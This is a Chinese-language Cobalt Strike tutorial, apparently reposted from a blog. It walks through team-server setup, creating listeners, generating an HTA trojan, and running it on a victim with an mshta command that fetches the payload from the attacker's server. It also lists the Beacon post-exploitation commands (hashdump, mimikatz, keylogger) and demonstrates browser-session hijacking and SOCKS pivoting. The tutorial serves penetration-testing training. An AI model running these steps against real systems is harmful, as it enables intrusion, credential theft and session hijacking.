Cobalt Strike使用教程一


Cobalt Strike使用教程一

0x00 簡介

Cobalt Strike是一款基於java的滲透測試神器,常被業界人稱為CS神器。自3.0以后已經不在使用Metasploit框架而作為一個獨立的平台使用,分為客戶端與服務端,服務端是一個,客戶端可以有多個,非常適合團隊協同作戰,多個攻擊者可以同時連接到一個團隊服務器上,共享攻擊資源與目標信息和sessions,可模擬APT做模擬對抗,進行內網滲透。
Cobalt Strike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。

0x01 目錄結構

一般Cobalt Strike目錄結構如下:
img

agscript 拓展應用的腳本
c2lint 用於檢查profile的錯誤異常
teamserver 服務端程序
cobaltstrike,cobaltstrike.jar客戶端程序(java跨平台)
 license.pdf 許可證文件
logs 目錄記錄與目標主機的相關信息 
update,update.jar用於更新CS 
third-party 第三方工具1234567

0x02 安裝運行

團隊服務器

團隊服務器最好運行在Linux平台上,服務端的關鍵文件是teamserver和cobaltstrike.jar,將這兩個文件放在同一目錄下運行:

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需參數 團隊服務器IP
<password> 必需參數 連接服務器的密碼
[/path/to/c2.profile] 可選參數 指定C2通信配置文件,體現其強大的擴展性
[YYYY-MM-DD] 可選參數 所有payload的終止時間

# 啟動Team Server
./teamserver 192.168.183.147 123456 # 設置強密碼,否則容易被爆破,參考附錄1234567

在這里插入圖片描述
PS:團隊服務器默認連接端口為50050,如果你想修改端口只需修改teamserver文件
在這里插入圖片描述

客戶端

Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:雙擊cobaltstrike.exe
在這里插入圖片描述
輸入服務端IP,端口默認50050,用戶名任意,密碼為之前設置的密碼,點擊connect。第一次連接會出現hash校驗,這里的hash等於前面的啟動teamserver時的hash,直接點擊‘是’即可連接到團隊服務器上。
在這里插入圖片描述

0x02 參數詳情

Cobalt Strike

New Connection   # 新建連接,支持連接多個服務器端
Preferences   # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄
Visualization   # 主要展示輸出結果的視圖
VPN Interfaces   # 設置VPN接口
Listenrs   # 創建監聽器
Script Manager   # 腳本管理,可以通過AggressorScripts腳本來加強自身,能夠擴展菜單欄,Beacon命令行,提權腳本等
Close   # 退出連接123456

View

Applications   # 顯示受害主機的應用信息
Credentials   # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads   # 查看已下載文件
Event Log   # 主機上線記錄以及團隊協作聊天記錄
Keystrokes   # 查看鍵盤記錄結果
Proxy Pivots   # 查看代理模塊
Screenshots   # 查看所有屏幕截圖
Script Console   # 加載第三方腳本以增強功能 
Targets   # 顯示所有受害主機
Web Log    # 所有Web服務的日志123456789

Attacks

Packages

HTML Application   # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件
MS Office Macro   # 生成office宏病毒文件
Payload Generator   # 生成各種語言版本的payload
USB/CD AutoPlay   # 生成利用自動播放運行的木馬文件
Windows Dropper   # 捆綁器能夠對任意的正常文件進行捆綁(免殺效果差)
Windows Executable   # 生成可執行exe木馬
Windows Executable(Stageless)   # 生成無狀態的可執行exe木馬123456

Web Drive-by

Manage   # 對開啟的web服務進行管理
Clone Site   # 克隆網站,可以記錄受害者提交的數據
Host File   # 提供文件下載,可以選擇Mime類型
Scripted Web Delivery   # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery 
Signed Applet Attack   # 使用java自簽名的程序進行釣魚攻擊(該方法已過時)
Smart Applet Attack   # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時)
System Profiler   # 用來獲取系統信息,如系統版本,Flash版本,瀏覽器版本等
Spear Phish   # 魚叉釣魚郵件1234567

Reporting

Activity Report   # 活動報告
Hosts Report   # 主機報告
Indicators of Compromise   # IOC報告:包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes
Sessions Report   # 會話報告
Social Engineering Report   # 社會工程報告:包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures   # 戰術技術及相關程序報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data   # 重置數據
Export Data   # 導出數據,導出.tsv文件格式1234567

Help

Homepage   # 官方主頁
Support   # 技術支持
Arsenal   # 開發者
System information   # 版本信息
About   # 關於1234

工具欄

在這里插入圖片描述

1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於1234567891011121314151617

0x03 基本流程

創建監聽器

點擊Cobalt Strike -> Listeners->Add,其中內置了九個Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp1234567

其中windows/beacon為內置監聽器,包括dns、http、https、smb四種方式的監聽器;windows/foreign為外部監聽器,配合Metasploit或者Armitage的監聽器。
在這里插入圖片描述
Name任意,選擇所需的payload,Host為本機IP,port為沒有被占用的任意端口
點擊save即創建成功
在這里插入圖片描述

生成木馬

這里選擇其中一種攻擊方式作示范,后面再做詳細解釋:
點擊Attacks->Packages->HTML Application,選擇對應的監聽器,方法這里有三種(executable/VBA/powershell),選擇powershell,點擊Generate生成,選擇生成的路徑及文件名保存即可。
在這里插入圖片描述
在這里插入圖片描述

開啟web服務

點擊Attacks->Web Drive-by->Host File,選擇剛剛生成的木馬evil.hta,點擊Launch生成下載鏈接
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gGZcXV46-1571903546481)(/images/CobaltStrike/9.png)]
在這里插入圖片描述

運行木馬

打開受害機cmd,運行mshta命令。mshta.exe是微軟Windows操作系統相關程序,用於執行.HTA文件。

mshta http://192.168.183.147/download/file.ext

在這里插入圖片描述
返回CS即可看到肉雞上線
在這里插入圖片描述
選中受害機右擊,選擇interact,即可進行交互,由於受害機默認60秒進行一次回傳,為了實驗效果我們這里把時間設置成5,但實際中頻率不宜過快,容易被發現。
在這里插入圖片描述

導出報告

點擊Reporting->Activity Report,導出默認PDF文檔
在這里插入圖片描述

0x04 Beacon

當受害機上線以后,右擊選擇Interact,就可以打開Beacon Console
在beacon處輸入help可以看到命令說明

Beacon Commands
===============

    Command                   Description
    -------                   -----------
    argue                     進程參數欺騙
    blockdlls                 在子進程中阻止非Microsoft的DLLs文件
    browserpivot              注入受害者瀏覽器進程
    bypassuac                 繞過UAC
    cancel                    取消正在進行的下載
    cd                        切換目錄
    checkin                   強制讓被控端回連一次
    clear                     清除beacon內部的任務隊列
    connect                   通過TCP連接到Beacon
    covertvpn                 部署Covert VPN客戶端
    cp                        復制文件
    dcsync                    從DC中提取密碼哈希
    desktop                   遠程VNC
    dllinject                 反射DLL注入進程
    dllload                   使用LoadLibrary將DLL加載到進程中
    download                  下載文件
    downloads                 列出正在進行的文件下載
    drives                    列出目標盤符
    elevate                   嘗試提權
    execute                   在目標上執行程序(無輸出)
    execute-assembly          在目標上內存中執行本地.NET程序
    exit                      退出beacon
    getprivs                  對當前令牌啟用系統權限
    getsystem                 嘗試獲取SYSTEM權限
    getuid                    獲取用戶ID
    hashdump                  轉儲密碼哈希值
    help                      幫助
    inject                    在特定進程中生成會話
    jobkill                   殺死一個后台任務
    jobs                      列出后台任務
    kerberos_ccache_use       從ccache文件中導入票據應用於此會話
    kerberos_ticket_purge     清除當前會話的票據
    kerberos_ticket_use       從ticket文件中導入票據應用於此會話
    keylogger                 鍵盤記錄
    kill                      結束進程
    link                      通過命名管道連接到Beacon
    logonpasswords            使用mimikatz轉儲憑據和哈希值
    ls                        列出文件
    make_token                創建令牌以傳遞憑據
    mimikatz                  運行mimikatz
    mkdir                     創建一個目錄
    mode dns                  使用DNS A作為通信通道(僅限DNS beacon)
    mode dns-txt              使用DNS TXT作為通信通道(僅限D beacon)
    mode dns6                 使用DNS AAAA作為通信通道(僅限DNS beacon)
    mode http                 使用HTTP作為通信通道
    mv                        移動文件
    net                       net命令
    note                      給當前目標機器備注       
    portscan                  進行端口掃描
    powerpick                 通過Unmanaged PowerShell執行命令
    powershell                通過powershell.exe執行命令
    powershell-import         導入powershell腳本
    ppid                      為生成的post-ex任務設置父PID
    ps                        顯示進程列表
    psexec                    使用服務在主機上生成會話
    psexec_psh                使用PowerShell在主機上生成會話
    psinject                  在特定進程中執行PowerShell命令
    pth                       使用Mimikatz進行傳遞哈希
    pwd                       當前目錄位置
    reg                       查詢注冊表
    rev2self                  恢復原始令牌
    rm                        刪除文件或文件夾
    rportfwd                  端口轉發
    run                       在目標上執行程序(返回輸出)
    runas                     以另一個用戶權限執行程序
    runasadmin                在高權限下執行程序
    runu                      在另一個PID下執行程序
    screenshot                屏幕截圖
    setenv                    設置環境變量
    shell                     cmd執行命令
    shinject                  將shellcode注入進程
    shspawn                   生成進程並將shellcode注入其中
    sleep                     設置睡眠延遲時間
    socks                     啟動SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     生成一個會話 
    spawnas                   以其他用戶身份生成會話
    spawnto                   將可執行程序注入進程
    spawnu                    在另一個PID下生成會話
    ssh                       使用ssh連接遠程主機
    ssh-key                   使用密鑰連接遠程主機
    steal_token               從進程中竊取令牌
    timestomp                 將一個文件時間戳應用到另一個文件
    unlink                    斷開與Beacon的連接
    upload                    上傳文件
    wdigest                   使用mimikatz轉儲明文憑據
    winrm                     使用WinRM在主機上生成會話
    wmi                       使用WMI在主機上生成會話1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192

可用help+命令的方式查看具體命令參數說明

beacon> help argue
Use: argue [command] [fake arguments]
     argue [command]
     argue

Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.

Use argue [command] to disable this feature for the specified command.

Use argue by itself to list programs with defined spoofed arguments.12345678910

之前說過CS與受害機默認60s進行一次交互,為了方便實驗我們可以把時間設置為0

beacon>sleep 0

下面我就介紹一下幾個常用的命令

browserpivot

Browser Pivot是一個針對IE瀏覽器的技術,利用的是IE的cookie機制,Cobalt Strike通過IE注入進程以繼承用戶的已驗證Web會話,達到無需驗證登錄用戶訪問的網站。
假設受害者在通過IE瀏覽器登錄了網站后台
在這里插入圖片描述
我們可以通過ps找到瀏覽器進程,然后通過命令進行注入

beacon> browserpivot 2600 x86

在這里插入圖片描述
這里之所以選擇PID 2600是因為我們需要插入Internet Explorer以繼承用戶的已驗證Web會話。IE的新版本會為每個選項卡生成一個進程,我們必須將其插入子選項卡以繼承會話狀態。通常,子選項卡共享所有會話狀態。通過查看PPID值來標識IE子選項卡進程,當PPID引用explorer.exe時,該進程不是子選項卡;當PPID引用iexplore.exe時,該進程就是子選項卡。
當然這里也可以通過圖形界面注入,右擊選中Explore->Browser Pivot
在這里插入圖片描述
然后瀏覽器設置代理
在這里插入圖片描述
然后訪問受害者所訪問的網頁,發現無需登錄直接進入后台
在這里插入圖片描述

Socks代理

開啟socks4a代理,通過代理進行內網滲透
開啟socks,可以通過命令,也可以通過右鍵Pivoting->SOCKS Server

beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes12

然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服務器
在這里插入圖片描述
使用proxychains代理掃描內網主機

proxychains nmap -sP 192.168.183.0/24

在這里插入圖片描述
我們還可以通過隧道將整個msf帶進目標內網
點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:
在這里插入圖片描述

setg Proxies socks4:192.168.183.147:2222

打開msf對內網進行掃描
在這里插入圖片描述
關閉socks

beacon>socks stop

powershell-import

這個功能在后滲透測試中很有用,可以導入各種powershell滲透框架,如NishangPowerSploit攻擊框架
在beacon shell輸入powershell-import,導入已有的ps文件

beacon> powershell-import

在這里插入圖片描述
在這里插入圖片描述
關於具體有哪些命令可以操作可以查看一下相應ps文件

0x05 附錄

爆破cobalt strike密碼腳本:https://github.com/ryanohoro/csbruter
在這里插入圖片描述
在這里插入圖片描述


轉載自https://blog.csdn.net/weixin_44677409/article/details/102725418


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM